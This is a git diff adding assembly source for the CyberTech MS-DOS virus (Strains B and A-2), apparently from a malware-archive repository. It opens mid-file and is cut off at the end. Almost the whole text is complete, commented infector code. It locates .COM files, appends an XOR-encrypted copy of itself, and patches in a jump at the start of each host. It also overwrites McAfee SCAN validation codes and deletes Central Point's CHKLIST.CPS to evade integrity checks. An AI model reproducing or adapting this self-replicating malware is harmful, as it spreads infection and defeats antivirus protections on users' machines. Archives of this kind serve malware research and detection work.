Store old file attributes + + Mov Ax,4301h ; Clear file attributes + Xor Cx,Cx ; (for read only etc.) + Int 21h ; + + Mov Ax,3d02h ; Open the file + Int 21h ; + + Mov Bx,Ax ; Read file date/time stamp + Mov Ax,5700h ; and store it on the stack + Int 21h ; for later use + Push Cx ; + Push Dx ; + + Mov Ah,3eh ; Close file + Int 21h ; + + Mov Dx,0fd80h ; Create a new file with the + Xor Cx,Cx ; same name + Mov Ah,3ch ; + Int 21h ; + + Mov Bx,Ax ; store file handle in BX + + Mov Dx,100h ; program to file (the original + Mov Cx,Bp ; file is now back again) + Sub Cx,0fch ; + + Mov Ah,40h ; write memory image of host + Int 21h ; + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Pop Cx ; restore file attributes + Mov Ax,4301h ; + Mov Dx,0fd80h ; + Int 21h ; + + Push Cs ; Show message that the + Pop Ds ; system has been infected + Mov Ah,9 ; and shutdown virus + Lea Dx,Removed[Bp] ; + Int 21h ; + Jmp Ready ; + +; +; Main viral part +; + +NoClean: Mov Ah,1ah ; Store DTA at safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ah,4eh ; FindFirsFile Function + +Search: Lea Dx,FileSpec[BP] ; Search for filespec given + Xor Cx,Cx ; in FileSpec adress + Int 21h ; + Jnc Found ; Found - Found + Jmp Ready ; Not Found - Ready + +Found: Mov Ax,4300h ; Get file attributes and + Mov Dx,0fd1eh ; store them on the stack + Int 21h ; + Push Cx ; + + Mov Ax,4301h ; clear file attributes + Xor Cx,Cx ; + Int 21h ; + + Mov Ax,3d02h ; open file with read/write + Int 21h ; access + + Mov Bx,5700h ; save file date/time stamp + Xchg Ax,Bx ; on the stack + Int 21h ; + Push Cx ; + Push Dx ; + + Mov Ah,3fh ; read the first 4 bytes of + Lea Dx,OrgPrg[BP] ; the program onto OrgPrg + Mov Cx,4 ; + Int 21h ; + + Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file + Cmp Ax,'ZM' ; + Je ExeFile ; + + Cmp Ax,'MZ' ; Check if renamed weird exe- + Je ExeFile ; file + + Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected + Cmp Ah,'*' ; + Jne Infect ; + +ExeFile: Call Close ; If one of the checks is yes, + Mov Ah,4fh ; close file and search next + Jmp Search ; file + +FSeek: Xor Cx,Cx ; subroutine to jump to end + Xor Dx,Dx ; or begin of file + Int 21h ; + Ret ; + +Infect: Mov Ax,0fd1e[0] ; check if the file is + Cmp Ax,'OC' ; COMMAN?.COM (usually result + Jne NoCommand ; if COMMAND.COM) + Mov Ax,0fd1e[2] ; + Cmp Ax,'MM' ; + Jne NoCommand ; + Mov Ax,0fd1e[4] ; + Cmp Ax,'NA' ; + Jne NoCommand ; + + Mov Ax,4202h ; Jump to EOF + Call Fseek ; + + Cmp Ax,0f000h ; Check if file too large + Jae ExeFile + + Cmp Ax,VirS ; Check if file to short + jbe ExeFile + + Sub Ax,VirS + Xchg Cx,Dx + Mov Dx,4200h + Xchg Dx,Ax + Mov EOFminVir[BP],Dx + Int 21h + Mov Ah,3fh + Mov Dx,Offset Buffer + Mov Cx,VirS + Int 21h + Cld + Mov Si,Offset Buffer + Mov Cx,VirLen +On5: + Push Cx +On6: Lodsb + Cmp Al,0 + Jne On4 + Loop On6 +On4: Cmp Cx,0 + Je Found0 + + Pop Cx + Cmp Si,SeekLen + Jb On5 + Jmp NoCommand + +Found0: Pop Cx + Sub Si,Offset Buffer + Sub Si,Cx + Xor Cx,Cx + Mov Dx,EOFminVir[BP] + Add Dx,Si + + Mov Ax,4200h + Int 21h + Jmp CalcVirus + +EOFminVir Dw 0 + +NoCommand: Mov Ax,4202h ; jump to EOF + Call FSeek ; + + Cmp Ax,0f000h ; Check if file too large + Jb NoExe1 ; if yes, goto exefile + Jmp ExeFile ; + +NoExe1: Cmp Ax,10 ; Check if file too short + Ja NoExe2 ; if yes, goto exefile + Jmp ExeFile ; + + +NoExe2: Mov Cx,Dx ; calculate pointer to offset + Mov Dx,Ax ; EOF-52 (for McAfee validation + Sub Dx,52 ; codes) + + Mov Si,Cx ; move file pointer to the + Mov Di,Dx ; calculated address + Mov Ax,4200h ; + Int 21h ; + + Mov Ah,3fh ; read the last 52 bytes + Mov Dx,0fb00h ; of the file + Mov Cx,52 ; + Int 21h ; + + Cmp Ds:0Fb00h,0fdf0h ; check if protected with the + Jne Check2 ; AG option + Cmp Ds:0fb02h,0aac5h ; + Jne Check2 ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Int 21h ; code + Jmp CalcVirus ; + +Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the + Jne Eof ; AV option + Cmp Ds:0Fb02h+42,0aac5h ; + Jne Eof ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Add Dx,42 ; code + Int 21h ; + Jmp CalcVirus ; + +Eof: Mov Ax,4202h ; not AG or AV - jump to + Call Fseek ; EOF + +CalcVirus: Sub Ax,3 ; calculate the jump for the + Mov Cs:CallPtr[BP]+1,Ax ; virus start + +GetCrypt: Mov Ah,2ch ; get 100s seconds for the + Int 21h ; encryption value. + Cmp Dl,0 ; if not zero, goto NoZero + Jne NoZero ; + + Mov Ah,9 ; If zero, display copyright + Lea Dx,Msg[Bp] ; message and generate again + Int 21h ; a number + Jmp GetCrypt ; + +NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor + + Lea Si,MainVir[BP] ; Move changed decryptor to + Mov Di,0fb00h ; a safe place in memory + Mov Cx,DecrLen ; + Rep Movsb ; + + Lea Si,Crypt[BP] ; Encrypt the virus and merge + Mov Cx,CryptLen ; it to the changed decryptor +Encrypt: Lodsb ; code + Xor Al,Dl ; + Stosb ; + Loop Encrypt ; + + Mov Ah,40h ; append virus at EOF or over + Lea Dx,0fb00h ; the validation code of + Mov Cx,VirLen ; McAfee + Int 21h ; + + Mov Ax,4200h ; Jump to BOF + Call FSeek ; + + Mov Ah,40h ; Write Jump at BOF + Lea Dx,CallPtr[BP] ; + Mov Cx,4 ; + Int 21h ; + + Call Close ; Jump to Close routine + +Ready: Mov Ah,1ah ; Restore DTA to normal + Mov Dx,80h ; offset + Int 21h ; + + Mov Ax,Cs:OldInt24[Bp] ; remove critical error + Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the + Xor Bx,Bx ; original handler at the + Push Bx ; interrupt table + Pop Ds ; + Mov Ds:[4*24h],Dx ; + Mov Ds:[4*24h]+2,Ax ; + Push Cs ; + Pop Ds ; + + Pop Ax ; restore possible error code + + Mov Bx,100h ; nice way to jump to the + Push Cs ; begin of the original host + Push Bx ; code + Retf ; + +Close: Pop Si ; why??? + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Mov Ax,4301h ; restore file attributes + Pop Cx ; + Mov Dx,0fd1eh ; + Int 21h ; + + Mov Ah,41h ; delete CHKLIST.CPS (the + Lea Dx,CpsName[BP] ; Central Point CRC list) + Int 21h ; + + Push Si ; why??? + Ret + +; +; Message when we are in 1994 +; + +;Removed Db 13,10,'Virus removed : ',13,10 + +Removed Db 13,10,'The previous year you have been infected by a virus' + Db 13,10,'without knowing or removing it. To be gentle to you' + Db 13,10,'I decided to remove myself from your system. I suggest' + Db 13,10,'you better buy ViruScan of McAfee to ensure yourself' + Db 13,10,'complete security of your precious data. Next time you' + Db 13,10,'could be infected with a malevolent virus.' + Db 13,10,10,'May I say goodbye to you for now....',13,10 + +; +; Message when encryption byte = 0 or when we are living in 1994 +; + +Msg Db 13,10,'CyberTech Virus - Strain B' + Db 13,10,'(C) 1992 John Tardy of Trident' + Db 13,10,'$' + +; +; New critical error handler +; + +NewInt24: Mov Al,3 ; supress any critical error + Iret ; messages + +CpsName Db 'chklist.cps',0 ; name for CP CRC-list + +OldInt24 Dd 0 ; storage place for old int 24 + +CallPtr Db 0e9h,0,0 ; jump to place at BOF + +FileSpec Db '*.COM',0 ; filespec and infection marker + +OrgPrg: Int 20h ; original program + Db 'JT' ; + +CryptLen Equ $-Crypt ; encrypted part length + +VirLen Equ $-MainVir ; total virus length + +Buffer Equ 0f040h ; buffer offset +VirS Equ VirLen*2 + +SeekLen Equ Buffer+Virs + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/MSDOS/Virus.MSDOS.Unknown.cybtcha2.a86 b/MSDOS/Virus.MSDOS.Unknown.cybtcha2.a86 new file mode 100644 index 00000000..c58c2732 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.cybtcha2.a86 @@ -0,0 +1,427 @@ +; +; CyberTech Virus - Strain A John Tardy (C) 1993 +; +; Written in A86 V3.22 +; +; Description : This is a Non-Resident Self-Encrypting .COM file infector +; which infects COM files in the current directory. It will +; remove CHKLIST.CPS from the current directory after it has +; infected a program. CHKLIST.CPS is a file which is used by +; VDEFEND of PCSHELL and Central Point AntiVirus. When a +; validation code is added by SCAN of McAfee, it will overwrite +; the code, so the file is no longer CRC protected anymore. +; After 1993, the virus activates. It then displays a message +; that your system has been infected. The virus will remove +; itself from the infected file and completely restore it. If +; a validation code was added, it is lost, but the file is not +; corrupted and will function normally. Even when the file is +; compressed afterwards by an executable file compressor, it is +; uncompressed. Before 1994, the virus sometimes display it's +; copyright. This is caused when the random encryption counter +; is a 0. It will redefine it, so there is no visible text in +; the virus. It checks also if there is enough diskspace +; aveable and installs a critical error handler. +; + Org 0h ; Generate .BIN file + +Start: Jmp MainVir ; Jump to decryptor code at EOF + + Db '*' ; Virus signature (very short) + +; +; Decryptor procedure +; + +MainVir: Call On1 ; Push offset on stack + +On1: Pop BP ; Calculate virus offset + Sub BP,Offset MainVir+3 ; + + Push Ax ; Save possible error code + + Lea Di,Crypt[BP] ; Decrypt the virus with a + Mov Si,Di ; very simple exclusive or + Mov Cx,CryptLen ; function. +Decrypt: Lodsb ; + Xor Al,0 ; + Stosb ; + Loop Decrypt ; + +DecrLen Equ $-MainVir ; Length of the decryptor + +; +; Main initialization procedure +; + +Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at + Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com) + Mov Cs:Start+100h,Ax ; + Mov Cs:Start[2]+100h,Bx ; + + Xor Ax,Ax ; Get original interrupt 24 + Push Ax ; (critical error handler) + Pop Ds ; + Mov Bx,Ds:[4*24h] ; + Mov Es,Ds:[4*24h]+4 ; + + Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place + Mov Word Ptr Cs:OldInt24+2[Bp],Es ; + + Lea Bx,NewInt24[Bp] ; Install own critical error + Push Cs ; handler to avoid messages + Pop Es ; when a disk is write + Mov Word Ptr Ds:[4*24h],Bx ; protected and such things + Mov Word Ptr Ds:[4*24h]+2,Es ; + Push Cs ; + Pop Ds ; + + Mov Ah,30h ; Check if DOS version is + Int 21h ; 3.0 or above for correct + Cmp Al,3 ; interrupt use + Jae On2 ; + Jmp Ready ; + +On2: Mov Ax,3600h ; Check if enough disk space + Xor Dx,Dx ; is aveable for infecting + Int 21h ; (3 clusters should be + Cmp Bx,3 ; enough i think) + Ja TestDate ; + Jmp Ready ; + +TestDate: Mov Ah,2ah ; Check if 1993 is past time + Int 21h ; already + Cmp Cx,1994 ; + Jae Clean ; - 1993 or more + Jmp NoClean ; - Not 1993 or more + +; +; Main Cleanup procedure +; + +Clean: Push Cs ; Show message that the + Pop Ds ; system has been infected + Mov Ah,9 ; + Lea Dx,Removed[Bp] ; + Int 21h ; + + Mov Ah,1ah ; Move DTA to a safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ax,Cs:[2ch] ; Find the name of the + Mov Ds,Ax ; program that is now + Mov Si,0 ; executed (me must search in + Mov Cx,4000h ; the DOS environment for +Seeker: Lodsb ; safe tracking of the name + Cmp Al,1 ; + Je On3 ; + Loop Seeker ; + +On3: Inc Si ; Transfer the found name + Push Cs ; to a safe address in memory + Pop Es ; + Mov Di,0fd80h ; + Mov Cx,80h ; +Trans: Lodsb ; + Cmp Al,0h ; + Jne Verder ; + Xor Ax,Ax ; +Verder: Stosb ; + Loop Trans ; + + Push Cs ; Read file attributes and + Pop Ds ; check if an error has + Mov Ax,4300h ; occured + Mov Dx,0fd80h ; + Int 21h ; + Jnc DeInfect ; - No error, DeInfect + Jmp Ready ; - Error, Ready + +DeInfect: Push Cx ; Store old file attributes + + Mov Ax,4301h ; Clear file attributes + Xor Cx,Cx ; (for read only etc.) + Int 21h ; + + Mov Ax,3d02h ; Open the file + Int 21h ; + + Mov Bx,Ax ; Read file date/time stamp + Mov Ax,5700h ; and store it on the stack + Int 21h ; for later use + Push Cx ; + Push Dx ; + + Mov Ah,3eh ; Close file + Int 21h ; + + Mov Dx,0fd80h ; Create a new file with the + Xor Cx,Cx ; same name + Mov Ah,3ch ; + Int 21h ; + + Mov Bx,Ax ; store file handle in BX + + Mov Ah,40h ; write memory image of host + Mov Dx,100h ; program to file (the original + Mov Cx,Bp ; file is now back again) + Sub Cx,0fch ; + Int 21h ; + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Pop Cx ; restore file attributes + Mov Ax,4301h ; + Mov Dx,0fd80h ; + Int 21h ; + + Push Cs ; jump to ready routine + Pop Ds ; (shutdown of the virus) + Jmp Ready ; + +; +; Main viral part +; + +NoClean: Mov Ah,1ah ; Store DTA at safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ah,4eh ; FindFirsFile Function + +Search: Lea Dx,FileSpec[BP] ; Search for filespec given + Xor Cx,Cx ; in FileSpec adress + Int 21h ; + Jnc Found ; Found - Found + Jmp Ready ; Not Found - Ready + +Found: Mov Ax,4300h ; Get file attributes and + Mov Dx,0fd1eh ; store them on the stack + Int 21h ; + Push Cx ; + + Mov Ax,4301h ; clear file attributes + Xor Cx,Cx ; + Int 21h ; + + Mov Ax,3d02h ; open file with read/write + Int 21h ; access + + Mov Bx,5700h ; save file date/time stamp + Xchg Ax,Bx ; on the stack + Int 21h ; + Push Cx ; + Push Dx ; + + Mov Ah,3fh ; read the first 4 bytes of + Lea Dx,OrgPrg[BP] ; the program onto OrgPrg + Mov Cx,4 ; + Int 21h ; + + Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file + Cmp Ax,'ZM' ; + Je ExeFile ; + + Cmp Ax,'MZ' ; Check if renamed weird exe- + Je ExeFile ; file + + Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected + Cmp Ah,'*' ; + Jne Infect ; + +ExeFile: Call Close ; If one of the checks is yes, + Mov Ah,4fh ; close file and search next + Jmp Search ; file + +FSeek: Xor Cx,Cx ; subroutine to jump to end + Xor Dx,Dx ; or begin of file + Int 21h ; + Ret ; + +Infect: Mov Ax,4202h ; jump to EOF + Call FSeek ; + + Cmp Ax,0f900 ; Check if file too large + Jae ExeFile ; if yes, goto exefile + + Cmp Ax,10 ; Check if file too short + Jbe ExeFile ; if yes, goto exefile + + Mov Cx,Dx ; calculate pointer to offset + Mov Dx,Ax ; EOF-52 (for McAfee validation + Sub Dx,52 ; codes) + + Mov Si,Cx ; move file pointer to the + Mov Di,Dx ; calculated address + Mov Ax,4200h ; + Int 21h ; + + Mov Ah,3fh ; read the last 52 bytes + Mov Dx,0fb00h ; of the file + Mov Cx,52 ; + Int 21h ; + + Cmp Ds:0Fb00h,0fdf0h ; check if protected with the + Jne Check2 ; AG option + Cmp Ds:0fb02h,0aac5h ; + Jne Check2 ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Int 21h ; code + Jmp CalcVirus ; + +Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the + Jne Eof ; AV option + Cmp Ds:0Fb02h+42,0aac5h ; + Jne Eof ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Add Dx,42 ; code + Int 21h ; + Jmp CalcVirus ; + +Eof: Mov Ax,4202h ; not AG or AV - jump to + Call Fseek ; EOF + +CalcVirus: Sub Ax,3 ; calculate the jump for the + Mov Cs:CallPtr[BP]+1,Ax ; virus start + +GetCrypt: Mov Ah,2ch ; get 100s seconds for the + Int 21h ; encryption value. + Cmp Dl,0 ; if not zero, goto NoZero + Jne NoZero ; + + Mov Ah,9 ; If zero, display copyright + Lea Dx,Msg[Bp] ; message and generate again + Int 21h ; a number + Jmp GetCrypt ; + +NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor + + Lea Si,MainVir[BP] ; Move changed decryptor to + Mov Di,0fb00h ; a safe place in memory + Mov Cx,DecrLen ; + Rep Movsb ; + + Lea Si,Crypt[BP] ; Encrypt the virus and merge + Mov Cx,CryptLen ; it to the changed decryptor +Encrypt: Lodsb ; code + Xor Al,Dl ; + Stosb ; + Loop Encrypt ; + + Mov Ah,40h ; append virus at EOF or over + Lea Dx,0fb00h ; the validation code of + Mov Cx,VirLen ; McAfee + Int 21h ; + + Mov Ax,4200h ; Jump to BOF + Call FSeek ; + + Mov Ah,40h ; Write Jump at BOF + Lea Dx,CallPtr[BP] ; + Mov Cx,4 ; + Int 21h ; + + Call Close ; Jump to Close routine + +Ready: Mov Ah,1ah ; Restore DTA to normal + Mov Dx,80h ; offset + Int 21h ; + + Mov Ax,Cs:OldInt24[Bp] ; remove critical error + Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the + Xor Bx,Bx ; original handler at the + Push Bx ; interrupt table + Pop Ds ; + Mov Ds:[4*24h],Dx ; + Mov Ds:[4*24h]+2,Ax ; + Push Cs ; + Pop Ds ; + + Pop Ax ; restore possible error code + + Mov Bx,100h ; nice way to jump to the + Push Cs ; begin of the original host + Push Bx ; code + Retf ; + +Close: Pop Si ; why??? + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Mov Ax,4301h ; restore file attributes + Pop Cx ; + Mov Dx,0fd1eh ; + Int 21h ; + + Mov Ah,41h ; delete CHKLIST.CPS (the + Lea Dx,CpsName[BP] ; Central Point CRC list) + Int 21h ; + + Push Si ; why??? + Ret + +; +; Message when we are in 1994 +; + +Removed Db 13,10,'The previous year you have been infected by a virus' + Db 13,10,'without knowing or removing it. To be gentle to you' + Db 13,10,'I decided to remove myself from your system. McAfee' + Db 13,10,'could scan Strain A, but after switching 2 instructions' + Db 13,10,'it is hidden again. I suggest McAfee isn''t the best' + Db 13,10,'scanner. I''m deeply disappointed!' + Db 13,10,10,'May I say goodbye to you for now....',13,10 + +; +; Message when encryption byte = 0 or when we are living in 1994 +; + +Msg Db 13,10,'CyberTech Virus - Strain A-2' + Db 13,10,'(C) 1993 John Tardy of Trident' + Db 13,10,'$' + +; +; New critical error handler +; + +NewInt24: Mov Al,3 ; supress any critical error + Iret ; messages + +CpsName Db 'chklist.cps',0 ; name for CP CRC-list + +OldInt24 Dd 0 ; storage place for old int 24 + +CallPtr Db 0e9h,0,0 ; jump to place at BOF + +FileSpec Db '*.COM',0 ; filespec and infection marker + +OrgPrg: Int 20h ; original program + Db 'JT' ; + +CryptLen Equ $-Crypt ; encrypted part length + +VirLen Equ $-MainVir ; total virus length + + +; +; > ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt < +; > ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? < +; diff --git a/MSDOS/Virus.MSDOS.Unknown.cybtcha2.asm b/MSDOS/Virus.MSDOS.Unknown.cybtcha2.asm new file mode 100644 index 00000000..c58c2732 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.cybtcha2.asm @@ -0,0 +1,427 @@ +; +; CyberTech Virus - Strain A John Tardy (C) 1993 +; +; Written in A86 V3.22 +; +; Description : This is a Non-Resident Self-Encrypting .COM file infector +; which infects COM files in the current directory. It will +; remove CHKLIST.CPS from the current directory after it has +; infected a program. CHKLIST.CPS is a file which is used by +; VDEFEND of PCSHELL and Central Point AntiVirus. When a +; validation code is added by SCAN of McAfee, it will overwrite +; the code, so the file is no longer CRC protected anymore. +; After 1993, the virus activates. It then displays a message +; that your system has been infected. The virus will remove +; itself from the infected file and completely restore it. If +; a validation code was added, it is lost, but the file is not +; corrupted and will function normally. Even when the file is +; compressed afterwards by an executable file compressor, it is +; uncompressed. Before 1994, the virus sometimes display it's +; copyright. This is caused when the random encryption counter +; is a 0. It will redefine it, so there is no visible text in +; the virus. It checks also if there is enough diskspace +; aveable and installs a critical error handler. +; + Org 0h ; Generate .BIN file + +Start: Jmp MainVir ; Jump to decryptor code at EOF + + Db '*' ; Virus signature (very short) + +; +; Decryptor procedure +; + +MainVir: Call On1 ; Push offset on stack + +On1: Pop BP ; Calculate virus offset + Sub BP,Offset MainVir+3 ; + + Push Ax ; Save possible error code + + Lea Di,Crypt[BP] ; Decrypt the virus with a + Mov Si,Di ; very simple exclusive or + Mov Cx,CryptLen ; function. +Decrypt: Lodsb ; + Xor Al,0 ; + Stosb ; + Loop Decrypt ; + +DecrLen Equ $-MainVir ; Length of the decryptor + +; +; Main initialization procedure +; + +Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at + Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com) + Mov Cs:Start+100h,Ax ; + Mov Cs:Start[2]+100h,Bx ; + + Xor Ax,Ax ; Get original interrupt 24 + Push Ax ; (critical error handler) + Pop Ds ; + Mov Bx,Ds:[4*24h] ; + Mov Es,Ds:[4*24h]+4 ; + + Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place + Mov Word Ptr Cs:OldInt24+2[Bp],Es ; + + Lea Bx,NewInt24[Bp] ; Install own critical error + Push Cs ; handler to avoid messages + Pop Es ; when a disk is write + Mov Word Ptr Ds:[4*24h],Bx ; protected and such things + Mov Word Ptr Ds:[4*24h]+2,Es ; + Push Cs ; + Pop Ds ; + + Mov Ah,30h ; Check if DOS version is + Int 21h ; 3.0 or above for correct + Cmp Al,3 ; interrupt use + Jae On2 ; + Jmp Ready ; + +On2: Mov Ax,3600h ; Check if enough disk space + Xor Dx,Dx ; is aveable for infecting + Int 21h ; (3 clusters should be + Cmp Bx,3 ; enough i think) + Ja TestDate ; + Jmp Ready ; + +TestDate: Mov Ah,2ah ; Check if 1993 is past time + Int 21h ; already + Cmp Cx,1994 ; + Jae Clean ; - 1993 or more + Jmp NoClean ; - Not 1993 or more + +; +; Main Cleanup procedure +; + +Clean: Push Cs ; Show message that the + Pop Ds ; system has been infected + Mov Ah,9 ; + Lea Dx,Removed[Bp] ; + Int 21h ; + + Mov Ah,1ah ; Move DTA to a safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ax,Cs:[2ch] ; Find the name of the + Mov Ds,Ax ; program that is now + Mov Si,0 ; executed (me must search in + Mov Cx,4000h ; the DOS environment for +Seeker: Lodsb ; safe tracking of the name + Cmp Al,1 ; + Je On3 ; + Loop Seeker ; + +On3: Inc Si ; Transfer the found name + Push Cs ; to a safe address in memory + Pop Es ; + Mov Di,0fd80h ; + Mov Cx,80h ; +Trans: Lodsb ; + Cmp Al,0h ; + Jne Verder ; + Xor Ax,Ax ; +Verder: Stosb ; + Loop Trans ; + + Push Cs ; Read file attributes and + Pop Ds ; check if an error has + Mov Ax,4300h ; occured + Mov Dx,0fd80h ; + Int 21h ; + Jnc DeInfect ; - No error, DeInfect + Jmp Ready ; - Error, Ready + +DeInfect: Push Cx ; Store old file attributes + + Mov Ax,4301h ; Clear file attributes + Xor Cx,Cx ; (for read only etc.) + Int 21h ; + + Mov Ax,3d02h ; Open the file + Int 21h ; + + Mov Bx,Ax ; Read file date/time stamp + Mov Ax,5700h ; and store it on the stack + Int 21h ; for later use + Push Cx ; + Push Dx ; + + Mov Ah,3eh ; Close file + Int 21h ; + + Mov Dx,0fd80h ; Create a new file with the + Xor Cx,Cx ; same name + Mov Ah,3ch ; + Int 21h ; + + Mov Bx,Ax ; store file handle in BX + + Mov Ah,40h ; write memory image of host + Mov Dx,100h ; program to file (the original + Mov Cx,Bp ; file is now back again) + Sub Cx,0fch ; + Int 21h ; + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Pop Cx ; restore file attributes + Mov Ax,4301h ; + Mov Dx,0fd80h ; + Int 21h ; + + Push Cs ; jump to ready routine + Pop Ds ; (shutdown of the virus) + Jmp Ready ; + +; +; Main viral part +; + +NoClean: Mov Ah,1ah ; Store DTA at safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ah,4eh ; FindFirsFile Function + +Search: Lea Dx,FileSpec[BP] ; Search for filespec given + Xor Cx,Cx ; in FileSpec adress + Int 21h ; + Jnc Found ; Found - Found + Jmp Ready ; Not Found - Ready + +Found: Mov Ax,4300h ; Get file attributes and + Mov Dx,0fd1eh ; store them on the stack + Int 21h ; + Push Cx ; + + Mov Ax,4301h ; clear file attributes + Xor Cx,Cx ; + Int 21h ; + + Mov Ax,3d02h ; open file with read/write + Int 21h ; access + + Mov Bx,5700h ; save file date/time stamp + Xchg Ax,Bx ; on the stack + Int 21h ; + Push Cx ; + Push Dx ; + + Mov Ah,3fh ; read the first 4 bytes of + Lea Dx,OrgPrg[BP] ; the program onto OrgPrg + Mov Cx,4 ; + Int 21h ; + + Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file + Cmp Ax,'ZM' ; + Je ExeFile ; + + Cmp Ax,'MZ' ; Check if renamed weird exe- + Je ExeFile ; file + + Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected + Cmp Ah,'*' ; + Jne Infect ; + +ExeFile: Call Close ; If one of the checks is yes, + Mov Ah,4fh ; close file and search next + Jmp Search ; file + +FSeek: Xor Cx,Cx ; subroutine to jump to end + Xor Dx,Dx ; or begin of file + Int 21h ; + Ret ; + +Infect: Mov Ax,4202h ; jump to EOF + Call FSeek ; + + Cmp Ax,0f900 ; Check if file too large + Jae ExeFile ; if yes, goto exefile + + Cmp Ax,10 ; Check if file too short + Jbe ExeFile ; if yes, goto exefile + + Mov Cx,Dx ; calculate pointer to offset + Mov Dx,Ax ; EOF-52 (for McAfee validation + Sub Dx,52 ; codes) + + Mov Si,Cx ; move file pointer to the + Mov Di,Dx ; calculated address + Mov Ax,4200h ; + Int 21h ; + + Mov Ah,3fh ; read the last 52 bytes + Mov Dx,0fb00h ; of the file + Mov Cx,52 ; + Int 21h ; + + Cmp Ds:0Fb00h,0fdf0h ; check if protected with the + Jne Check2 ; AG option + Cmp Ds:0fb02h,0aac5h ; + Jne Check2 ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Int 21h ; code + Jmp CalcVirus ; + +Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the + Jne Eof ; AV option + Cmp Ds:0Fb02h+42,0aac5h ; + Jne Eof ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Add Dx,42 ; code + Int 21h ; + Jmp CalcVirus ; + +Eof: Mov Ax,4202h ; not AG or AV - jump to + Call Fseek ; EOF + +CalcVirus: Sub Ax,3 ; calculate the jump for the + Mov Cs:CallPtr[BP]+1,Ax ; virus start + +GetCrypt: Mov Ah,2ch ; get 100s seconds for the + Int 21h ; encryption value. + Cmp Dl,0 ; if not zero, goto NoZero + Jne NoZero ; + + Mov Ah,9 ; If zero, display copyright + Lea Dx,Msg[Bp] ; message and generate again + Int 21h ; a number + Jmp GetCrypt ; + +NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor + + Lea Si,MainVir[BP] ; Move changed decryptor to + Mov Di,0fb00h ; a safe place in memory + Mov Cx,DecrLen ; + Rep Movsb ; + + Lea Si,Crypt[BP] ; Encrypt the virus and merge + Mov Cx,CryptLen ; it to the changed decryptor +Encrypt: Lodsb ; code + Xor Al,Dl ; + Stosb ; + Loop Encrypt ; + + Mov Ah,40h ; append virus at EOF or over + Lea Dx,0fb00h ; the validation code of + Mov Cx,VirLen ; McAfee + Int 21h ; + + Mov Ax,4200h ; Jump to BOF + Call FSeek ; + + Mov Ah,40h ; Write Jump at BOF + Lea Dx,CallPtr[BP] ; + Mov Cx,4 ; + Int 21h ; + + Call Close ; Jump to Close routine + +Ready: Mov Ah,1ah ; Restore DTA to normal + Mov Dx,80h ; offset + Int 21h ; + + Mov Ax,Cs:OldInt24[Bp] ; remove critical error + Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the + Xor Bx,Bx ; original handler at the + Push Bx ; interrupt table + Pop Ds ; + Mov Ds:[4*24h],Dx ; + Mov Ds:[4*24h]+2,Ax ; + Push Cs ; + Pop Ds ; + + Pop Ax ; restore possible error code + + Mov Bx,100h ; nice way to jump to the + Push Cs ; begin of the original host + Push Bx ; code + Retf ; + +Close: Pop Si ; why??? + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Mov Ax,4301h ; restore file attributes + Pop Cx ; + Mov Dx,0fd1eh ; + Int 21h ; + + Mov Ah,41h ; delete CHKLIST.CPS (the + Lea Dx,CpsName[BP] ; Central Point CRC list) + Int 21h ; + 